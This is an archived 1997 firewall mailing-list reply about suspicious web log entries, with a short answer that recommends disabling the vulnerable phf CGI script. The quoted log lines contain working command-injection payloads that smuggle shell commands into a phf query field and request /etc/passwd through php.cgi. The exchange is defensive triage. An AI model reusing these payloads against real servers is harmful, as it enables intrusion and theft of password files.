Great Circle Associates Firewalls
(June 1997)
 

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Subject: Re: getting passwd file via WWW
From: girsch @ marben . com (Arnaud Girsch)
Date: Wed, 4 Jun 1997 14:08:14 -0700 (PDT)
To: swnuck @ unixpros . com (Stan Wnuck)
Cc: Firewalls @ GreatCircle . COM
In-reply-to: <199706041601 . JAA03033 @ honor . greatcircle . com> from "Stan Wnuck" at Jun 4, 97 12:04:34 pm

> I have noticed on my WWW log files the following 2 entries.
>  
> some.remote.location.edu - - [28/Apr/1997:01:33:21 +0015] "GET /cgi-bin/phf?Jserver=ns.uiuc.edu%0Acat%20/etc/passwd%0Aypcat%20passwd%0Apwd%0Aid%0Auname%20-a%0A&Qalias=&Qname=foo&Qemail=&Qnickname=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 200 140
> some.remote.location.edu - - [28/Apr/1997:01:33:23 -74587788] "GET /cgi-bin/php.cgi?/etc/passwd" 404 143
> 
> 
> Does anyone know anything about these cgi scripts or programs?
> Or how dangerous this is?

These are well known cgi scripts containing security holes.
The phf script coming with the default NCSA server is buggy, and should be
disabled. (it allowas execution of shell programs)

Arnaud.

-- 
Arnaud Girsch      -+- Marben Products, Inc. / DSET Corporation - San Jose, CA
agirsch @
 marben .
 com -+-    http://www.marben.com/   -+-    http://www.dset.com/


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